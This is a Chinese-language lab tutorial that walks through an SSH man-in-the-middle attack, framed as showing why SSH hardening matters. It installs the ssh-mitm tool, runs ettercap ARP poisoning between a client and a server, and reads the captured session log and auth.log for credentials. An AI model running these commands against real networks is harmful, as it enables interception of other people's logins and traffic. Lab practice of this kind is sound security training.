你好,
了解中间人攻击是如何实施的,对于衡量为 SSH 服务采取安全加固对策的重要性来说,是至关重要的。
我建议先在以下环境上开始动手:
- 一台 Kali-Linux 服务器 -> 攻击者
- 一台 Linux 上的 SSH 服务器 -> 目标 1
- 一台 Windows 或 Linux 上的 SSH 客户端 -> 目标 2
第 1 步:获取并安装 SSH-MITM
首先要更新我们 Kali-Linux 的软件包列表:
apt update
git clone https://github.com/jtesta/ssh-mitm
需要完成若干步骤:进入安装目录,设置
US-utf8 语言格式,然后运行安装脚本:
cd ssh-mitm
export LANG=en_US.utf-8
sudo ./install.sh
命令“export LANG=en_US.utf-8”通过一个环境变量导出安装该工具时所使用的默认语言(英语,UTF-8 编码)。如果没有这一导出,会出现一条错误消息,导致无法安装。
./ 用于运行位于 ssh-mitm 目录中的 shell 脚本 install.sh。
在此安装过程中,可能会要求你安装 AppArmor,以限制 ssh-mitm 在本机上的权限。如果出现这种情况,请接受该提示。
现在我们可以启动 ssh-mitm 服务,它将监听 2222 端口:
sudo ./start.sh
可以很方便地用以下命令查看哪些服务与开放端口相关联:
ss -ltnp
第 2 步:借助 ettercap 实施 MITM 攻击
需要把这两个 IP 地址替换为你的 Linux SSH 服务器和你的 Windows 或 Linux SSH 客户端的地址。
sudo ettercap -i eth0 -T -M arp /192.168.x.x// /192.168.x.x//
- -T:以文本模式启动 ettercap
- -M:表示发起一次“Man in the middle”类型的攻击
- 192.168.x.x:SSH 服务器 / 192.168.x.x:SSH 客户端 -> 受害者的 IP 地址

我建议在我们的 Kali-Linux 上启动 Wireshark,以验证 ARP 表投毒(ARP Poisoning)的效果。

第 3 步:获取通过 SSH 传输的信息
首先需要先停止攻击,方法是按“ h ”,然后按“ q ”。
生成的文件 /home/ssh-mitm/shell_session_0.txt 包含了在中间人攻击期间,客户端与 SSH 服务器之间往来传输的全部信息。

有时也可以直接从 auth.log 文件中找到所使用的登录名,该文件包含 Kali-Linux 的身份验证日志。
你可以像这样查看它:
cat /var/log/auth.log
第 4 步:加固 openSSH 服务的安全
请前往以下文章:如何用 SSH 加密密钥加固 openSSH 服务的安全
